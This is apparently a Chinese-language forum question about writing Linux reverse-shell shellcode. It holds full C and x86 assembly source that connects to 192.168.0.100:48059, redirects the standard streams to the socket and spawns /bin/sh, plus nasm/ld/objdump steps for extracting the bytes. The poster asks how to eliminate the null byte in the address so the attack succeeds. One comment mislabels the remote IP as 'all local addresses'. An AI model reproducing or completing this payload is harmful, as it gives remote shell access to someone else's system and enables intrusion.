C代码
#include<sys/socket.h> //构造socket所需的库
#include<netinet/in.h> //定义sockaddr结构
int main()
{
char *shell[2]; //用于execv调用
int soc,remote; //文件描述符句柄
struct sockaddr_in serv_addr; //保存IP/端口值的结构
serv_addr.sin_addr.s_addr=0x6400A8C0; //将socket的地址设置为所有本地地址
serv_addr.sin_port=0xBBBB; //设置socket的端口48059
serv_addr.sin_family=2; //设置协议族:IP
soc=socket(2,1,0);
remote=connect(soc,(struct sockaddr *)&serv_addr,0x10);
dup2(soc,0); //将stdin连接client
dup2(soc,1); //将stdout连接client
dup2(soc,2); //将strderr连接到client
shell[0]="/bin/sh"; //execve的第一个参数
shell[1]=0; //数组的第二个元素为NULL,表示数组结束
execv(shell[0],shell,NULL); //建立一个shell
}
serv_addr.sin_addr.s_addr=0x6400A8C0 这是设置远程反向连接的IP地址呢,这里面有00,所以shellcode中会出现00,就会导致shellcode中断,无法完成攻击,有没有好的办法呢?
汇编语言代码:
section .text
global _start
_start:
xor eax,eax ;清空eax
xor ebx,ebx ;清空ebx
xor edx,edx ;清空edx
;soc=socket(2,1,0)
push eax ;socket的第三个参数:0
push byte 0x1 ;socket的第二个参数:1
push byte 0x2 ;socket的第一个参数:2
mov ecx,esp ;将数组的地址设置为socketcall的第二个参数
inc bl ;将socketcall的第一个参数设置为1
mov al,102 ;调用socketcall,分支调用号为1:SYS_SOCKET
int 0x80 ;进入核心态,执行系统调用
mov esi,eax ;将返回值(eax)存储到esi中(即soc句柄)
;remote=connect(soc,(struct sockaddr *)&serv_addr,0x10)
push edx; ;仍然为0,用来作为接下来压栈的数据的结束符
push long 0x6400A8C0 ;本节代码中新增,将地址反序得到的十六进制压栈
push word 0xBBBB ;将端口压栈,十进制为48059
xor ecx,ecx ;清空ecx,以便保存结构的sa_family字段
mov cl,2 ;将ecx的地位字节,设置为2
push word cx ;建立结构,包括端口和sin.family,共四个字节
mov ecx,esp ;将结构的地址(在栈上)复制到ecx
push byte 0x10 ;connect参数的开始,将16压栈
push ecx ;在栈上保存结构的地址
push esi ;将服务器文件描述符esi保存到栈
mov ecx,esp ;将参数数组的地址保存到ecx(socketcall的第二个参数)
mov bl,3 ;将bl设置为3,socketcall的第一个参数
mov al,102 ;调用socketcall,分支调用号为3:SYS_CONNECT
int 0x80 ;进入核心态,执行系统调用
mov ebx,esi ;将客户端的soc文件描述符复制到ebx
;dup2(soc,0)
xor ecx,ecx ;清空ecx
mov al,63 ;将系统调用的第一个参数设置为63:dup
int 0x80 ;进行系统调用
;dup2(client,1)
inc ecx ;ecx设置为1
mov al,63 ;准备进行系统调用:dup2:63
int 0x80 ;进行系统调用
;dup2(client,2)
inc ecx ;ecx设置为2
mov al,63 ;准备进行系统调用:dup2:63
int 0x80 ;进行系统调用
;标准的execv("/bin/sh"...
push edx
push long 0x68732f2f
push long 0x6e69622f
mov ebx,esp
push edx
push ebx
mov ecx,esp
mov al,0x0b
int 0x80
push long 0x6400A8C0 这里就是IP地址,出现了00,怎么办好呢?
如果能解决这个问题,那么下边就可以
nasm -f elf reverse_port_asm.asm
ld -o reverse_port_asm reverse_port_asm.o
然后抽取十六进制代码
objdump -d ./reverse_port_asm
得到shellcode了。